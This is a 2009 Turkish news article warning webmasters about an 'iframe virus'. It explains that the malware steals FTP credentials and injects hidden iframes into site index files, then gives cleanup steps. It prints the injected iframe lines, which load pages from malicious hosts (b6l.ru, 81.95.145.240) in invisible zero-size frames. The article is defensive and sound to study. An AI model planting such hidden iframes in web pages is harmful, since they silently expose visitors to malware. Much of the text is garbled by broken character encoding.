

Tarih: 03.09.2009 Saat: 14:46
Konu: Bilisim

Web Sitelerinden İframe Virüs Yayılıyor

Bir çok web sitesinde bazı virüs programları tesbit ettiyi iframe virüsü buluyor. Bu sebepten dolayı google bir çok web sitesini geçici olarak engellemektedir...

İnternet ortamında gittikçe yaygınlaşan iframe denilen bir virüs sitelerin başlıca yolu oluyor. Bu virüs hostunuza bulaşabilir. Bu virüs bir çok web sahibinin sorunu olmuştur.

Virüs hostinge bulaştığında index.asp, index.php, default.asp gibi ana sayfa dizinine yerleştirildiği kodlar sayesinde siteyi yönetilebilmektedir. Aynı zamanda diğer bazı klasörlerin içinde bulunan index.php, index.html, index.htm, default.asp dosyaları içinde yerleştiriliyor. Bu virüs cuteftp, Blazeftp, Filezilla vb bazı programları crack yada keygen programlarından bulaştırmakta yada daha evvel bulaşan sitelere girilmesinden dolayı antivirüs programı olmayan bilgisayarlara bulaştırmaktadır. Program girdiğiniz bazı ftp'lere girmeye başlar..

Bir çok antivirüs programında henüz tam anlamıyla geliştirilmeyen virüs avast gibi antivirüs programlarında net olarak tespit edilebilmektedir.

Bu virüs bir kere bilgisayarınıza bulaştıktan sonra o bilgisayarla hangi sitenin ftp'ini arsanız ağırdığınız ftp bilgilerinizi kaydederek, sitelere girip index.php , index.html , index.htm , default.asp 'nin içlerine iframe kodu atıyor. Atılan iframe kodları şu şekilde olmaktadır.

```
<!--iframe src http://b6l.ru:8080/index.php width 649 height 135 style visibility: hidden>/iframe-->
```



```
<!--iframe src=http://81.95.145.240/logo/index.php style=border:0px solid gray WIDTH=0 HEIGHT=0
```

```
FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0
```

```
SCROLLING=no>
```

Bu adresler de yaygınlık gösterilebilir.

Peki Virüs Sizin Bilgisayarınıza Bulaştı ve bunun farkına vardığınız ne yapmanız gerekir ?

Sadece ftp bilgilerinizi alabildiğin hemen dosyalarınızı pc'ye atıp içindeki iframe kodları silin ve tekrar ftp'den upload edin. Sonra hiç vakit kaybetmeden kullandığınız cpanel/plesk panelinize girin ve şifrenizi değiştirin.

Bu işlemleri yaptıktan sonra sakın ftp'den giriş yapmayın.

Çoklukla ftp'den giriş yapıldığında deşifre edilmek üzere tekrar dosyalarınıza iframe atmaya başlayacaktır..

Bu iÅylemleride yaptÄ±ktan sonra virüs taramasÄ± yaparak bilgisayarÄ±nÄ±zÄ± temizleyin. virüsün temizlenmediÄ±ini düÅünüyorsanÄ±z bilgisayarÄ±nÄ±za format atabilirsiniz..

Herhangi bir web sayfanÄ±zdan virüs ünce bilgisayarÄ±nÄ±za sÄ±zÄ±yor ve daha sonra FTP benzeri program ile sitenize bulaÅYÄ±yor. Haliyle bu ÅYekilde her yere yayÄ±lmaya baÅYIÄ±yor. Virüs bi süre sonra masaüstünüze update.exe diye bi virüs ekleyip pc'ye zarar vermeye baÅYIÄ±yormuÅY.

Çüzüm için ne yapabiliriz?

Öncelikle bilgisayarÄ±nÄ±zda dosya bulma menüsünden cd Win.Agent.pz(ntos.exe) bulduÅYunuzda hemen silin. Daha sonra antitrojan ve antivirüsler ile bilgisayarÄ±nÄ±zÄ± tarayÄ±n. Bu iÅylemlerden sonra FTP'yi kullanÄ±p dosyalarÄ± kontrol edin.

DiÅYer bir alternatif olarak;

Sitenizde bulunan dosyalarÄ± FTP yoluyla bilgisayarÄ±nÄ±za indirip belirtilen iframe kodlarÄ±nÄ±n olup olmadÄ±ÅYÄ±nÄ± kontrol kontrol ederek virüs taramasÄ±ndan geçirin. Güvende olduÅYunuzu hissediyorsanÄ±z Daha sonra dosyalarÄ± FTP'den tekrar sitenize atÄ±n. Yada Cute FTP kullanÄ±yorsanÄ±z Ctrl-F kÄ±sayÄ±lu ile arama menüsünü açarak sitenizde 81.95.145.240 ip numarasÄ±nÄ± arayÄ±n.

Ä°frame virüsünün bulaÅYtÄ±ÅYÄ± dosyalarda yukarÄ±daki kÄ±rmÄ±zÄ± olarak yazÄ±lmÄ±ÅY satÄ±rlara benzer kodlar bulunur. Bu kod genelde sayfanÄ±n en sonunda olur. Kodu tamamen silip kaydetmeniz yeterli olacaktÄ±r. Ama eÅYer bilgisayarÄ±nÄ±zda bir antivirüs yoksa birini yükleyip tarama yaptÄ±rÄ±n...

(Bu YazÄ± Ä°nternette DerlenmiÅYtir)

GÃ¶nderen EÄYitimin Sesi:

<http://www.egitiminsesi.com>

Bu Haberin Adresi:

<http://www.egitiminsesi.com/modules.php?name=News&op=NEArticle&sid=729>